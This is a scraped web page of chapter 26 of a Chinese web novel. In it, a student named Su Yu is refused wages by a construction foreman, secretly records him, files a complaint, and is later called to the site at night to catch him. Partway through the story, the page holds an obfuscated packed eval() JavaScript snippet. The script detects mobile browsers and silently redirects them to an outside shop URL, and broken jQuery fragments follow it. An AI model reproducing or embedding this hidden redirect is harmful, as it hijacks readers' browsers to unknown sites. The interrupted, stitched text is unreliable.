26.哥带你去逮工头
作品:《成为神选者后,靠马甲成神》 无故旷工十五天后,苏余终于回归岗位。
“为什么旷工?”
在不同时间段,不同办公室,三位表情各异的老板,问的问题却相当一致。
苏余想了想,秉承着做人要诚实的原则,老老实实回答:“我穿越了。”
面对这个怎么听怎么敷衍的答案,老板们全都一幅“你特么再逗我?当我是白痴吗?”的表情。
“既然你都穿越了,还要什么工资?”
苏余无辜的一摊手:“因为我又穿回来了呀。”
老板们顿时语塞,仔细想想,这逻辑似乎还真没毛病,可就这么算了吧,又觉得是不是太侮辱自己的智商了。
于是,在不同时间段,不同办公室,苏余便见识到了何为“人间冷暖,变幻莫测”。
二话不说,最先给他结清工资的,反而是之前他觉得最抠门、最难搞、骂他也最凶的早餐摊老板。
微信转账、拉黑一条龙,嘴上依旧骂骂咧咧不饶人,可钱却一分都没少。
“正好我要回老家养老,你以后也别来了,我供不起你这尊大佛!”
苏余内心委屈:这年头,说实话怎么还没人信呢?
反倒是先前性格爽朗、整日笑脸相迎,还拍着胸脯打包票说他年纪小,会罩着他的工地包工头,此刻脸翻得比书还快。
他慢悠悠掏出计算器,噼噼啪啪按了一大通,末了把计算器推到苏余面前。
苏余探头一看,心直接凉了半截。
合着他这半个月的砖白搬了,不仅一分钱工资没有,反倒还要倒贴几百块罚款。
苏余都懵了,语气里满是难以置信:“你不给我结工资就算了,还让我倒贴?世间还有这道理?”
肥头大耳的包工头眼睛一瞪,语气蛮横:“无故旷工十五天,扣你这些都算轻的!”
“可我是兼职,当初咱们说好日薪月结的!”
“兼职怎么啦?兼职也不是你能无故旷工的理由啊!”包工头往椅背上一靠,双手抱胸,摆出一副理直气壮的模样,“我今天要是姑息了这种不良行为,往后工地上其他人都学着你的样子来,那我这工程还干不干了?”
苏余辩解:“可我这真的有苦衷……”
“学生仔,少拿那种可笑的借口搪塞我!老哥我吃的亏,可比你吃的盐都多!”包工头不耐烦地打断他的话,摇头晃脑地摆起了长辈架子,开启忆苦思甜模式,“想当初老哥我刚出来混的时候,那是起早贪黑、忍气吞声……”
听着对方“巴拉巴拉”讲着一堆废话,苏余心里的火气蹭蹭直冒,心里暗暗盘算,要不找个没人的时间,给这家伙办公室的茶壶里撒泡尿;或是等入夜埋伏一波,套上麻袋狠狠揍一顿,以他现在的体质,这家伙少说得在床上躺半年。
但转念一想,还是算了,这种烂人不值得他出手,走正常司法流程吧,虽然过程有点慢,可权益有保证,是他这种生在红旗下,长在春风里,三好市民的不二之选。
“信不信我去告你?”苏余愤怒地打断包工头的话,一只手指着对方,另一只手不动声色地伸进兜里,指尖摸到了手机,“明明说好了日薪月结,你凭什么扣我工资!”
被人指着鼻子,包工头也不恼,笑眯眯地抬手拨开苏余的手指:“学生仔,别动不动就上纲上线,这么暴躁可不好,以后走上社会是要吃大亏的。”
“这样吧。”他伸出两根手指头晃了晃,假惺惺道,“老哥看你可怜,私人赞助你两百块做路费,赶紧回家找妈妈去吧。”
“谁要你的臭钱!”苏余气极,“我要我的工资!那可是我18天的血汗钱啊,共计1823.54元呢,当初说好的日薪月结,一分都不能少!”
包工头一愣,总觉得这有整有零的金额听着怎么这么别扭呢,但见苏余紧紧攥着拳头,额角青筋绷起,一副怒不可遏的模样不似作伪,只当对方被气昏了头。
“你不要?”他挑眉反问。
“对!”苏余斩钉截铁地回答,“暑期工也是有尊严的!”
这话一出,包工头也懒得装了,晃了晃脚上松垮的人字拖,语气里满是不屑:“就凭你?别的我不敢吹,但应付官家那套我门儿清!信不信我随便找几个理由就能拖着你,拖到你怀疑人生。”
“这么说,我那你是一分都不想给了?”苏余的声音也冷了下来。
“哈,你去告啊,你以为劳资怕这些?”包工头得意地嗤笑一声,晃悠着肥胖的身子走到苏余面前,拍了拍他的肩膀,一副过来人的姿态语重心长道,“学生仔,听老哥一句劝,这年头找份活不容易,给你台阶你不肯下,那就别怪人家坑你喽!”
苏余咬牙切齿,故意学着短视频里主角的模样,撂下句憋屈又倔强的狠话:“你给我等着!三十年河东,三十年河西,我做鬼都不会放过你的!”
然后在包工头那“这小子果然精神不正常吧!”的鄙夷眼神中,失魂落魄地离开办公室。
前脚刚踏出工地大门,苏余脸上的颓丧、委屈、愤怒瞬间消失得无影无踪,神色如常地从口袋里掏出正在录音的手机,按下停止键。
嘴角缓缓勾起一抹玩味又腹黑的弧度,苏余低声轻笑:身为新时代三好青年,他可不会惯着这种无赖。
现在证据已到手,接下来也该让这个无赖付出该有的代价了!
报警,走起~~
最后是第三份兼职——某知名外卖公司的处理方案。
那位头顶已然稀疏的部门主管倒没刻意为难他,只是如实告知:按照公司规定,工时不满一个月无法结算工资,他可以选择重返岗位,继续兼职送外卖,等干够规定时长,再一次性结清所有薪资。
苏余低头看了眼手机里三位数的余额,又瞟了一眼视野角落依旧在跳动的白色光标,心底生出几分真切的感慨:哪怕你是超人,拥有超能力,还是得工作的!这世上没有不劳而获的好事,不用工作就能一夜暴富的方法,除了拆迁,剩下的就全都写在刑法里了。
于是,苏余欣然接受主管的建议,跨上小电驴重操旧业。
咳,该上班上班,该赚钱赚钱,还得想办法找副本提升自己,开学之前这段时间,可有的他忙了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308761|197679||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
傍晚五点半,夏日的夕阳还未完全沉落,温暖的橘红色晚霞铺满了半边天空,将老街的屋顶、墙面都染上了一层柔和的光晕。
街边的夜市早早热闹起来,琳琅满目的小吃摊前响起此起彼伏的叫卖声,混着食物的香气在晚风里弥漫。
熙熙攘攘的行人走在其中,有的挑选着心仪的小吃;有的慢慢悠悠闲逛着;有的脚步匆匆、归心似箭……古旧的胡同口,还有几位大爷大妈摇着蒲扇乘凉闲谈,晚风拂过,捎来阵阵欢声笑语……
这条老街虽然破旧,却处处满溢着人间最真挚、最袅绕的烟火温情,每一处场景、每一张面孔,都是寻常生活里最动人的模样。
“叔,纳凉呢?”
“婶,饭后遛弯啊?”
“大姐,捡瓶子呢?我这儿刚喝完的塑料瓶,您要不?”
苏余骑着心爱的小电驴,灵活地穿梭在大街小巷之间,一路笑着和认识的、不认识的街坊打招呼。
刚从副本回归现实,离群索居十多天的他心里满是一种刚回归社会的亢奋,哪怕碰见条狗都想上去聊两句。
接单,取餐,跨上小电驴,苏余愉快地哼着不成调的小曲,骑手头盔上的兔耳朵随风飘摇,在晚霞里格外显眼。
***
夜里11点半,刚刚下班回到家的苏余忽然接到工地工友的电话。
电话那头声音压得极低,还夹杂着一丝难掩的兴奋:“小苏,赶紧来工地!哥带你去逮那缺德的工头!”
苏余不解:“工头?他怎么了?”
“这几天你不在,压根不知道那老小子有多不是东西!”电话那头忿忿不平小声抱怨着,“前段时间工地上总出怪事,要么是头天刚垒好的砖墙破了个大洞,要么是水泥袋被划开,粉末撒得满地都是。那老小子人前装作大发雷霆的样子,借此由头扣了我们好几个工友的工资。
我们让他调监控对质,他偏说摄像头坏了,没法查证。哥们几个气不过,今天就约好下工后躲在工地里,守着逮那个搞破坏的人……
结果你猜怎么着?我们刚刚亲眼看见,那缺德工头背着个鼓鼓囊囊的大袋子,鬼鬼祟祟地钻进楼里了!肯定是他为了找借口扣工资,半夜趁没人,自己在工地上搞破坏!”
苏余总觉得有哪里不对。
按理说,工期如期完成,工头才能拿到工程款,那钱可比克扣工人这三瓜俩枣的罚款多得多。
而且虽说那工头抠门又无赖,但这点利弊轻重总拎得清吧,应该不会做这种伤敌八百、自损一千的蠢事才对。
他刚想开口劝说,就听电话那头又急道,“哎哎,先不和你说了,我们要进去了!小苏啊,你赶紧过来,咱们一起把他逮住,到时候逼他给咱们所有人结清工资,不结就把他扭送公安局!”
原本苏余并不想去,毕竟他才将工头告上了劳动仲裁,司法流程已然启动,犯不着再节外生枝。
可转念一想,工友大哥也是一片好意,若是推脱,反倒辜负了这份心意。
无奈之下,他只得换了身衣服,出门赶往工地。

